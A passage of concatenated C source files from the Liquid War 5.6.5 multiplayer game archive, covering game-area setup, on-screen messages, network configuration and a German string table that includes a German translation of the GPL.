a NETCONF object */ void lw_netconf_print (LW_NETCONF * config) { LW_NETCONF_PRINT_VALUE (cursor_increase_speed); LW_NETCONF_PRINT_VALUE (fighter_attack); LW_NETCONF_PRINT_VALUE (fighter_defense); LW_NETCONF_PRINT_VALUE (fighter_new_health); LW_NETCONF_PRINT_VALUE (number_influence); LW_NETCONF_PRINT_VALUE (fighter_number); LW_NETCONF_PRINT_VALUE (game_time); LW_NETCONF_PRINT_VALUE (cpu_advantage); LW_NETCONF_PRINT_VALUE (cpu_vs_human); LW_NETCONF_PRINT_VALUE (asm_algorithm); LW_NETCONF_PRINT_VALUE (min_map_res); } liquidwar-5.6.5/src/area.c0000664000372000037200000001255713407756104015016 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : area.c */ /* contenu : creation de l'aire de jeu */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "area.h" #include "bigdata.h" #include "grad.h" #include "mesh.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ PLACE *CURRENT_AREA = NULL; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ void reset_game_area (void) { int i, k; for (i = 0; i < CURRENT_MESH_SIZE; ++i) for (k = 0; k < NB_TEAMS; ++k) CURRENT_MESH[i].info[k].state.grad = AREA_START_GRADIENT; for (i = 0; i < CURRENT_AREA_W * CURRENT_AREA_H; ++i) CURRENT_AREA[i].fighter = NULL; } /*------------------------------------------------------------------*/ int create_game_area (void) { int x, y, i; CURRENT_AREA = malloc_in_big_data_bottom (CURRENT_AREA_W * CURRENT_AREA_H * sizeof (PLACE)); if (CURRENT_AREA && CURRENT_MESH) { i = 0; for (y = 0; y < CURRENT_AREA_H; ++y) for (x = 0; x < CURRENT_AREA_W; ++x) { CURRENT_AREA[i].mesh = NULL; CURRENT_AREA[i].fighter = NULL; i++; } for (i = 0; i < CURRENT_MESH_SIZE; ++i) for (y = 0; y < CURRENT_MESH[i].side.size; ++y) for (x = 0; x < CURRENT_MESH[i].side.size; ++x) { CURRENT_AREA[(CURRENT_MESH[i].y + y) * CURRENT_AREA_W + CURRENT_MESH[i].x + x].mesh = CURRENT_MESH + i; } } return (CURRENT_AREA ? 0 : -1); } liquidwar-5.6.5/src/maptex.h0000664000372000037200000001202613407756104015400 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : maptex.h */ /* content : used to associate maps with textures */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_MAPTEX #define LIQUID_WAR_INCLUDE_MAPTEX /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "maptex.h" /*==================================================================*/ /* constantes */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int lw_maptex_is_custom_texture_used (int num, int texture, int network, int random, int use_default_texture); BITMAP *lw_maptex_create_map (int num, int fg, int bg, int network, int random, int min_w, int min_h, int use_default_texture); BITMAP *lw_maptex_create_fg (int num, int fg, int network, int random, int use_default_texture); BITMAP *lw_maptex_create_bg (int num, int bg, int network, int random, int use_default_texture); void lw_maptex_set_fg_palette (int num, int fg, int network, int random, int use_default_texture); void lw_maptex_set_bg_palette (int num, int bg, int network, int random, int use_default_texture); #endif liquidwar-5.6.5/src/monster.h0000664000372000037200000001307713407756104015600 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : monster.h */ /* contenu : deplacement des streums accelere */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_MONSTER #define LIQUID_WAR_INCLUDE_MONSTER /*==================================================================*/ /* includes */ /*==================================================================*/ #include "area.h" #include "mesh.h" #include "asm.h" /*==================================================================*/ /* types */ /*==================================================================*/ extern void LW_ASM_FUNC boost_move_fighters (FIGHTER * current_army, int current_army_size, PLACE * current_area, int current_area_w, int *active_fighters, int *attack, int *defense, int *new_health, int max_fighter_health_1, int sens, int start, int neg_global_clock, int *fighter_move_xy, int *fighter_move_offset, char *current_area_back_data, char *current_area_disp_data, int *color_first_entry, int colors_per_team, int *local_dir, int temp1, int temp2, int temp3, int temp4, int temp5, int temp6, int temp7, int temp8); #endif liquidwar-5.6.5/src/message.c0000664000372000037200000001461113407756104015523 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : message.c */ /* contenu : gestion des messages pendant le jeu */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include "message.h" #include "ticker.h" #include "viewport.h" #include "macro.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define MESSAGE_MAX 12 #define MESSAGE_SIZE 64 static int MESSAGE_NB = 0; static char MESSAGE[MESSAGE_MAX][MESSAGE_SIZE + 1]; static int MESSAGE_TICKER[MESSAGE_MAX]; static int MESSAGE_DISPLAYED[MESSAGE_MAX]; static int MESSAGE_DELAY = 1000; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ void clear_message (void) { MESSAGE_NB = 0; } /*------------------------------------------------------------------*/ void display_message (void) { int i, h, j, new_ticker; new_ticker = get_ticker (); for (i = 0; i < MESSAGE_NB; ++i) if (!MESSAGE_DISPLAYED[i]) { MESSAGE_DISPLAYED[i] = 1; MESSAGE_TICKER[i] = new_ticker + MESSAGE_DELAY * (i + 1); } while (MESSAGE_NB > 0 && MESSAGE_DISPLAYED[0] && new_ticker > MESSAGE_TICKER[0]) { for (i = 0; i < MESSAGE_NB - 1; ++i) for (j = 0; j < MESSAGE_SIZE + 1; ++j) { MESSAGE[i][j] = MESSAGE[i + 1][j]; MESSAGE_TICKER[i] = MESSAGE_TICKER[i + 1]; } MESSAGE_NB--; } h = text_height (font); //text_mode (-1); deprecated for (i = 0; i < MESSAGE_NB; ++i) textout_ex (NEXT_SCREEN, font, MESSAGE[i], NEXT_SCREEN->w - text_length (font, MESSAGE[i]), NEXT_SCREEN->h - (MESSAGE_NB - i) * h, -1, -1); } /*------------------------------------------------------------------*/ void message_str (char *str) { int i; while (MESSAGE_NB >= MESSAGE_MAX) { for (i = 0; i < MESSAGE_NB - 1; ++i) { LW_MACRO_STRCPY (MESSAGE[i], MESSAGE[i + 1]); MESSAGE_TICKER[i] = MESSAGE_TICKER[i + 1] - MESSAGE_DELAY; } MESSAGE_NB--; } MESSAGE_DISPLAYED[MESSAGE_NB] = 0; LW_MACRO_STRCPY (MESSAGE[MESSAGE_NB], str); MESSAGE_NB++; } /*------------------------------------------------------------------*/ void message_int (int val) { static char buffer[33 + 1]; LW_MACRO_SPRINTF1 (buffer, "%d", val); message_str (buffer); } /*------------------------------------------------------------------*/ void message_str_int (char *str, int val) { static char buffer[MESSAGE_SIZE + 33 + 1]; LW_MACRO_SPRINTF2 (buffer, "%s%d", str, val); message_str (buffer); } liquidwar-5.6.5/src/language.h0000664000372000037200000001016013407756104015662 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : language.h */ /* contenu : menu used to set up language options */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_LANGUAGE #define LIQUID_WAR_INCLUDE_LANGUAGE /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int language_options (void); #endif liquidwar-5.6.5/src/startinf.c0000664000372000037200000001017713407756104015734 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : startinf.c */ /* content : struct used to transmit network start info */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include "startinf.h" #include "log.h" /*==================================================================*/ /* functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Resets the LW_TEAMSTARTINFO struct */ void lw_teamstartinfo_reset (LW_TEAMSTARTINFO * teamstartinfo) { memset (teamstartinfo, 0, sizeof (LW_TEAMSTARTINFO)); } liquidwar-5.6.5/src/langde.c0000664000372000037200000013220113407756104015325 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : langde.c */ /* content : handles German dependent stuff (locale) */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "lang.h" #include "langde.h" #include "base.h" /*==================================================================*/ /* globals */ /*==================================================================*/ static char *LW_LANGDE_DATA[LW_LANG_NB_STRINGS]; /*------------------------------------------------------------------*/ /* initializes the string table */ /*------------------------------------------------------------------*/ void lw_langde_init () { memset (LW_LANGDE_DATA, 0, sizeof (LW_LANGDE_DATA)); LW_LANGDE_DATA[LW_LANG_STRING_LANGUAGE] = "Deutsch"; LW_LANGDE_DATA[LW_LANG_STRING_APPNAME] = "Liquid War " LW_VERSION; LW_LANGDE_DATA[LW_LANG_STRING_HELP_CREDITS] = "Idee: \n* Thomas Colcombet\n\nProgrammation: \n* Christian Mauduit\n\nMusik: \n* Tim Chadburn\n\nAndere Mitwirkende:\n* Alstar\n* Peter Wang\n* Cort Danger Stratton\n* Jan Gretschuskin (www.game-factor.de)\n* Mouse\n* Rene Stach\n* Roderick Schertler\n* Ryan D. Brown\n* Eduard Bloch\n* Michael Terry\n* Kasper Hviid\n* David Redick\n* Alexandre Pineau\n* Michael Wagner\n* Peter Williams\n* Jan Samohyl\n* Gavin\n* Dave Vasilevsky\n* 2 of Omega\n* 666-REFIZUL-666\n* Thomas Klausner\n* Joan Dolc\n* Mikhail Yakshin\n* Valerie Mauduit\n* Florence Mauduit\n* Joey Dodson\n* Jan Szenborn\n\nFuer weitere Informationen, siehe www.ufoot.org/liquidwar/v5\n"; LW_LANGDE_DATA[LW_LANG_STRING_HELP_COPYRIGHT] = "Liquid War ist ein Kriegspiel fuer mehrere Teilnehmer.\nCopyright (C) 1998-2018 Christian Mauduit (ufoot@ufoot.org)\n\nDieses Programm ist freie Software. Sie koennen es unter den Bedingungen der GNU General Public License, wie von der Free Software Foundation veroeffentlicht, weitergeben und/oder modifizieren, entweder gemaess Version 2 der Lizenz oder (nach Ihrer Option) jeder spaeteren Version.\n\nDie Veroeffentlichung dieses Programms erfolgt in der Hoffnung, dass es Ihnen von Nutzen sein wird, aber OHNE IRGENDEINE GARANTIE, sogar ohne die implizite Garantie der MARKTREIFE oder der VERWENDBARKEIT FUER EINEN BESTIMMTEN ZWECK. Details finden Sie in der GNU General Public License.\n\nSie sollten eine Kopie der GNU General Public License zusammen mit diesem Programm erhalten haben. Falls nicht, schreiben Sie an die Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA.\n\nFuer weitere Informationen, siehe www.ufoot.org/liquidwar/v5\n"; /* * Stupid Microsoft VC++ can't handle strings over 2048 chars correctly, * (compiler error C2026) so we had to split this one... */ LW_LANGDE_DATA[LW_LANG_STRING_HELP_LICENSE] = "Deutsche Uebersetzung der\nGNU General Public License\n\nErstellt im Auftrag der S.u.S.E. GmbH http://www.suse.de\nvon Katja Lachmann Uebersetzungen,\nueberarbeitet von Peter Gerwinski, G-N-U GmbH http://www.g-n-u.de\n(31. Oktober 1996, 4. Juni 2000)\n\nDiese Uebersetzung wird mit der Absicht angeboten, das Verstaendnis der GNU General Public License (GNU-GPL) zu erleichtern. Es handelt sich jedoch nicht um eine offizielle oder im rechtlichen Sinne anerkannte Uebersetzung.\n\nDie Free Software Foundation (FSF) ist nicht der Herausgeber dieser Uebersetzung, und sie hat diese Uebersetzung auch nicht als rechtskraeftigen Ersatz fuer die Original-GNU-GPL anerkannt. Da die Uebersetzung nicht sorgfaeltig von Anwaelten ueberprueft wurde, koennen die Uebersetzer nicht garantieren, dass die Uebersetzung die rechtlichen Aussagen der GNU-GPL exakt wiedergibt. Wenn Sie sichergehen wollen, dass von Ihnen geplante Aktivitaeten im Sinne der GNU-GPL gestattet sind, " "halten Sie sich bitte an die englischsprachige Originalversion.\n\nDie Free Software Foundation moechte Sie darum bitten, diese Uebersetzung nicht als offizielle Lizenzbedingungen fuer von Ihnen geschriebene Programme zu verwenden. Bitte benutzen Sie hierfuer stattdessen die von der Free Software Foundation herausgegebene englischsprachige Originalversion.\n\nThis is a translation of the GNU General Public License into German. This translation is distributed in the hope that it will facilitate understanding, but it is not an official or legally approved translation.\n\nThe Free Software Foundation is not the publisher of this translation and has not approved it as a legal substitute for the authentic GNU General Public License. The translation has not been reviewed carefully by lawyers, and therefore the translator cannot be sure that it exactly represents the legal meaning of the GNU General Public License. If you wish to be sure whether your planned activities are permitted " "by the GNU General Public License, please refer to the authentic English version.\n\nThe Free Software Foundation strongly urges you not to use this translation as the official distribution terms for your programs; instead, please use the authentic English version published by the Free Software Foundation.\n\nGNU General Public License\n\nDeutsche Uebersetzung der Version 2, Juni 1991\n\nCopyright (c) 1989, 1991 Free Software Foundation, Inc.\n\n51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA\n\npeter@gerwinski.de\n\nEs ist jedermann gestattet, diese Lizenzurkunde zu vervielfaeltigen und unveraenderte Kopien zu verbreiten; Aenderungen sind jedoch nicht erlaubt.\n\nDiese Uebersetzung ist kein rechtskraeftiger Ersatz fuer die englischsprachige Originalversion!\n\nVorwort\n\nDie meisten Softwarelizenzen sind daraufhin entworfen worden, Ihnen die Freiheit zu nehmen, die Software weiterzugeben und zu veraendern. Im Gegensatz dazu soll Ihnen die GNU General Public License , " "die Allgemeine Oeffentliche GNU-Lizenz, ebendiese Freiheit garantieren. Sie soll sicherstellen, dass die Software fuer alle Benutzer frei ist. Diese Lizenz gilt fuer den Grossteil der von der Free Software Foundation herausgegebenen Software und fuer alle anderen Programme, deren Autoren ihr Datenwerk dieser Lizenz unterstellt haben. Auch Sie koennen diese Moeglichkeit der Lizenzierung fuer Ihre Programme anwenden. (Ein anderer Teil der Software der Free Software Foundation unterliegt stattdessen der GNU Library General Public License , der Allgemeinen Oeffentlichen GNU-Lizenz fuer Bibliotheken.) [Mittlerweile wurde die GNU Library Public License von der GNU Lesser Public License abgeloest - Anmerkung des Uebersetzers.]\n\nDie Bezeichnung ,,freie`` Software bezieht sich auf Freiheit, nicht auf den Preis. Unsere Lizenzen sollen Ihnen die Freiheit garantieren, Kopien freier Software zu verbreiten (und etwas fuer diesen Service zu berechnen, wenn Sie moechten), die Moeglichkeit, " "die Software im Quelltext zu erhalten oder den Quelltext auf Wunsch zu bekommen. Die Lizenzen sollen garantieren, dass Sie die Software aendern oder Teile davon in neuen freien Programmen verwenden duerfen - und dass Sie wissen, dass Sie dies alles tun duerfen.\n\nUm Ihre Rechte zu schuetzen, muessen wir Einschraenkungen machen, die es jedem verbieten, Ihnen diese Rechte zu verweigern oder Sie aufzufordern, auf diese Rechte zu verzichten. Aus diesen Einschraenkungen folgen bestimmte Verantwortlichkeiten fuer Sie, wenn Sie Kopien der Software verbreiten oder sie veraendern.\n\nBeispielsweise muessen Sie den Empfaengern alle Rechte gewaehren, die Sie selbst haben, wenn Sie - kostenlos oder gegen Bezahlung - Kopien eines solchen Programms verbreiten. Sie muessen sicherstellen, dass auch die Empfaenger den Quelltext erhalten bzw. erhalten koennen. Und Sie muessen ihnen diese Bedingungen zeigen, damit sie ihre Rechte kennen.\n\nWir schuetzen Ihre Rechte in zwei Schritten: " "(1) Wir stellen die Software unter ein Urheberrecht (Copyright), und (2) wir bieten Ihnen diese Lizenz an, die Ihnen das Recht gibt, die Software zu vervielfaeltigen, zu verbreiten und/oder zu veraendern.\n\nUm die Autoren und uns zu schuetzen, wollen wir darueberhinaus sicherstellen, dass jeder erfaehrt, dass fuer diese freie Software keinerlei Garantie besteht. Wenn die Software von jemand anderem modifiziert und weitergegeben wird, moechten wir, dass die Empfaenger wissen, dass sie nicht das Original erhalten haben, damit irgendwelche von anderen verursachte Probleme nicht den Ruf des urspruenglichen Autors schaedigen.\n\nSchliesslich und endlich ist jedes freie Programm permanent durch Software-Patente bedroht. Wir moechten die Gefahr ausschliessen, dass Distributoren eines freien Programms individuell Patente lizensieren - mit dem Ergebnis, dass das Programm proprietaer wuerde. Um dies zu verhindern, haben wir klargestellt, dass jedes Patent entweder fuer freie Benutzung " "durch jedermann lizenziert werden muss oder ueberhaupt nicht lizenziert werden darf.\n\nEs folgen die genauen Bedingungen fuer die Vervielfaeltigung, Verbreitung und Bearbeitung:\n\nAllgemeine Oeffentliche GNU-Lizenz\nBedingungen fuer die Vervielfaeltigung,\nVerbreitung und Bearbeitung\n\n0. Diese Lizenz gilt fuer jedes Programm und jedes andere Datenwerk, in dem ein entsprechender Vermerk des Copyright-Inhabers darauf hinweist, dass das Datenwerk unter den Bestimmungen dieser General Public License verbreitet werden darf. Im folgenden wird jedes derartige Programm oder Datenwerk als ,,das Programm`` bezeichnet; die Formulierung ,,auf dem Programm basierendes Datenwerk`` bezeichnet das Programm sowie jegliche Bearbeitung des Programms im urheberrechtlichen Sinne, also ein Datenwerk, welches das Programm, auch auszugsweise, sei es unveraendert oder veraendert und/oder in eine andere Sprache uebersetzt, enthaelt. (Im folgenden wird die Uebersetzung ohne Einschraenkung als ,,Bearbeitung`` eingestuft.) " "Jeder Lizenznehmer wird im folgenden als ,,Sie`` angesprochen.\n\nAndere Handlungen als Vervielfaeltigung, Verbreitung und Bearbeitung werden von dieser Lizenz nicht beruehrt; sie fallen nicht in ihren Anwendungsbereich. Der Vorgang der Ausfuehrung des Programms wird nicht eingeschraenkt, und die Ausgaben des Programms unterliegen dieser Lizenz nur, wenn der Inhalt ein auf dem Programm basierendes Datenwerk darstellt (unabhaengig davon, dass die Ausgabe durch die Ausfuehrung des Programmes erfolgte). Ob dies zutrifft, haengt von den Funktionen des Programms ab.\n\n1. Sie duerfen auf beliebigen Medien unveraenderte Kopien des Quelltextes des Programms, wie sie ihn erhalten haben, anfertigen und verbreiten. Voraussetzung hierfuer ist, dass Sie mit jeder Kopie einen entsprechenden Copyright-Vermerk sowie einen Haftungsausschluss veroeffentlichen, alle Vermerke, die sich auf diese Lizenz und das Fehlen einer Garantie beziehen, unveraendert lassen " "und desweiteren allen anderen Empfaengern des Programms zusammen mit dem Programm eine Kopie dieser Lizenz zukommen lassen.\n\nSie duerfen fuer den eigentlichen Kopiervorgang eine Gebuehr verlangen. Wenn Sie es wuenschen, duerfen Sie auch gegen Entgeld eine Garantie fuer das Programm anbieten.\n\n2. Sie duerfen Ihre Kopie(n) des Programms oder eines Teils davon veraendern, wodurch ein auf dem Programm basierendes Datenwerk entsteht; Sie duerfen derartige Bearbeitungen unter den Bestimmungen von Paragraph 1 vervielfaeltigen und verbreiten, vorausgesetzt, dass zusaetzlich alle im folgenden genannten Bedingungen erfuellt werden:\n\n1.\nSie muessen die veraenderten Dateien mit einem auffaelligen Vermerk versehen, der auf die von Ihnen vorgenommene Modifizierung und das Datum jeder Aenderung hinweist.\n2.\nSie muessen dafuer sorgen, dass jede von Ihnen verbreitete oder veroeffentlichte Arbeit, die ganz oder teilweise von dem Programm oder Teilen davon abgeleitet ist, " "Dritten gegenueber als Ganzes unter den Bedingungen dieser Lizenz ohne Lizenzgebuehren zur Verfuegung gestellt wird.\n3.\nWenn das veraenderte Programm normalerweise bei der Ausfuehrung interaktiv Kommandos einliest, muessen Sie dafuer sorgen, dass es, wenn es auf dem ueblichsten Wege fuer solche interaktive Nutzung gestartet wird, eine Meldung ausgibt oder ausdruckt, die einen geeigneten Copyright-Vermerk enthaelt sowie einen Hinweis, dass es keine Gewaehrleistung gibt (oder anderenfalls, dass Sie Garantie leisten), und dass die Benutzer das Programm unter diesen Bedingungen weiter verbreiten duerfen. Auch muss der Benutzer darauf hingewiesen werden, wie er eine Kopie dieser Lizenz ansehen kann. (Ausnahme: Wenn das Programm selbst interaktiv arbeitet, aber normalerweise keine derartige Meldung ausgibt, muss Ihr auf dem Programm basierendes Datenwerk auch keine solche Meldung ausgeben).\n\nDiese Anforderungen gelten fuer das bearbeitete Datenwerk als Ganzes. " "Wenn identifizierbare Teile des Datenwerkes nicht von dem Programm abgeleitet sind und vernuenftigerweise als unabhaengige und eigenstaendige Datenwerke fuer sich selbst zu betrachten sind, dann gelten diese Lizenz und ihre Bedingungen nicht fuer die betroffenen Teile, wenn Sie diese als eigenstaendige Datenwerke weitergeben. Wenn Sie jedoch dieselben Abschnitte als Teil eines Ganzen weitergeben, das ein auf dem Programm basierendes Datenwerk darstellt, dann muss die Weitergabe des Ganzen nach den Bedingungen dieser Lizenz erfolgen, deren Bedingungen fuer weitere Lizenznehmer somit auf das gesamte Ganze ausgedehnt werden - und somit auf jeden einzelnen Teil, unabhaengig vom jeweiligen Autor.\n\nSomit ist es nicht die Absicht dieses Abschnittes, Rechte fuer Datenwerke in Anspruch zu nehmen oder Ihnen die Rechte fuer Datenwerke streitig zu machen, die komplett von Ihnen geschrieben wurden; vielmehr ist es die Absicht, die Rechte zur Kontrolle der Verbreitung von Datenwerken, " "die auf dem Programm 